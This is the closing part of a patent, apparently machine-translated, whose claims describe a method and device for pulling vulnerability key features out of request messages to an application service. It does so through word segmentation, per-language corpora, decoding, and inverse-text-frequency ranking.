[0110] It should also be noted that the terms "comprises," "includes," or any other variations thereof are intended to encompass non-exclusive inclusion, such that a process, method, commodity, or apparatus that includes a series of elements includes not only those elements but also other elements not explicitly listed, or includes elements inherent to such process, method, commodity, or apparatus. In the absence of further limitations, an element defined by the phrase "comprises a ..." does not exclude the presence of other identical elements in the process, method, commodity, or apparatus that includes the element.

[0111] The above are merely embodiments of the present application and are not intended to limit the present application. For those skilled in the art, the present application may have various changes and variations. Any modifications, equivalent replacements, improvements, etc. made within the spirit and principles of the present application should all be included within the scope of the claims of the present application.

Claims

1. A method for extracting key features of a vulnerability, characterized in that: include: Extracting target message text from a pending request message for accessing an application service system; Performing word segmentation processing on the target message text to obtain at least one target word segmentation included in the target message text; Using a corpus corresponding to the programming language type of the application service system, data cleaning is performed on at least one target segmentation to remove target segmentations of a specified part of speech from the at least one target segmentation; wherein the corpus is generated by: obtaining a plurality of program statements corresponding to each of a plurality of programming language types; for each program statement under each programming language type, segmenting the program statement to obtain at least one segmentation included in the program statement; performing part-of-speech tagging on the at least one segmentation included in the program statement; and generating a corpus of the programming language type based on each segmentation with a part of speech tagged under the programming language type; determining an inverse text frequency of each of at least one target word; According to the inverse text frequency of each of the at least one target segmented word, a vulnerability key feature corresponding to the request message to be processed is extracted from the at least one target segmented word.

2. The method according to claim 1, characterized in that Determining the inverse text frequency of at least one target word, including: For each target segmentation, determine whether the target segmentation is included in the pre-stored segmentations; If the pre-stored segmented words include the target segmented word, obtaining the pre-stored inverse text frequency of the target segmented word, wherein the pre-stored inverse text frequency of the segmented word is determined by using a first inverse text frequency algorithm; If the target segmentation is not included in the pre-stored segmentations, a second inverse text frequency algorithm is used to determine the inverse text frequency of the target segmentation, and the inverse text frequency determined by the second inverse text frequency algorithm is greater than the inverse text frequency determined by the first inverse text frequency algorithm.

3. The method according to claim 1, characterized in that Extracting a vulnerability key feature corresponding to the request message to be processed from the at least one target segmented word according to the inverse text frequency of each target segmented word, including: Sort at least one target word in descending order of inverse text frequency; The first number of target participles ranked high are selected as the key vulnerability features corresponding to the request message to be processed.

4. The method according to claim 1, wherein Extracting a vulnerability key feature corresponding to the request message to be processed from the at least one target segmented word according to the inverse text frequency of each target segmented word, including: Determining the frequency of each of at least one target word segment in the target message text; Determining a word frequency-inverse text frequency of at least one target segmented word according to the word frequency and inverse text frequency of at least one target segmented word; Extracting a vulnerability key feature corresponding to the request message to be processed from at least one target segmented word according to the word frequency-inverse text frequency of each target segmented word.

5. The method according to claim 4, characterized in that Extracting a vulnerability key feature corresponding to the request message to be processed from the at least one target segmented word according to the word frequency-inverse text frequency of the at least one target segmented word, including: Sort at least one target word in descending order of word frequency-inverse text frequency; The second number of target participles ranked higher in the order are selected as the key vulnerability features corresponding to the request message to be processed.

6. The method according to claim 1, characterized in that Before performing word segmentation processing on the target message text, the method further includes: For each program statement in the target message text, determining whether the program statement has been encoded; If the program statement has been encoded, the program statement is decoded.

7. The method according to claim 6, characterized in that For each program statement in the target message text, before determining whether the program statement has been encoded, the method further includes: Performing invisible character recognition on the target message text; If invisible characters are identified in the target message text, the invisible characters are removed from the target message text.

8. The method according to any one of claims 1 to 7, characterized in that Before determining the inverse text frequency of at least one target word, the method further includes: Acquire at least one historical normal request message requesting access to the application service system in a historical time period; For each historical normal request message, extract the historical message text in the message body of the historical normal request message; Performing word segmentation processing on each historical message text to obtain at least one word segmentation included in the historical message text; For each word segment in the historical message text, determine the inverse text frequency of the word segment according to the first inverse text frequency algorithm; Each word segment in the historical message text and its inverse text frequency are associated and stored.

9. The method according to claim 8, characterized in that For each word segment in the historical message text, determining the inverse text frequency of the word segment according to the first inverse text frequency algorithm includes: For each segmentation word in the historical message text, count the number of historical message texts in which the segmentation word appears; According to the number of historical message texts in which the segmented word appears and the total number of historical message texts, the inverse text frequency of the segmented word is determined according to a first inverse text frequency algorithm.

10. A device for extracting key features of a vulnerability, characterized in that: include: A corpus creation module is configured to obtain a plurality of program statements corresponding to a plurality of programming language types; for each program statement in each programming language type, perform word segmentation processing on the program statement to obtain at least one word included in the program statement; perform part-of-speech tagging on the at least one word included in the program statement; and generate a corpus of the programming language type based on the word segments with parts of speech tagged under the programming language type; A text extraction module, configured to extract a target message text from a pending request message for accessing an application service system; a word segmentation module, configured to perform word segmentation processing on the target message text to obtain at least one target word segmentation included in the target message text; a data cleaning module, configured to perform data cleaning on at least one target word using a corpus corresponding to a programming language type of the application service system, so as to remove target words of a specified part of speech from the at least one target word; A determination module, configured to determine an inverse text frequency of at least one target word segment; The feature extraction module is used to extract the vulnerability key feature corresponding to the request message to be processed from at least one target segmentation according to the inverse text frequency of each of the at least one target segmentation.

11. An electronic device, characterized in that: include: memory and processor; The memory is used to store computer programs; The processor is coupled to the memory and configured to execute the computer program to perform the steps of the method according to any one of claims 1 to 8.

12. A computer-readable storage medium storing a computer program, characterized in that: When the computer program is executed by a processor, the processor is enabled to implement the steps of the method according to any one of claims 1 to 8.

Images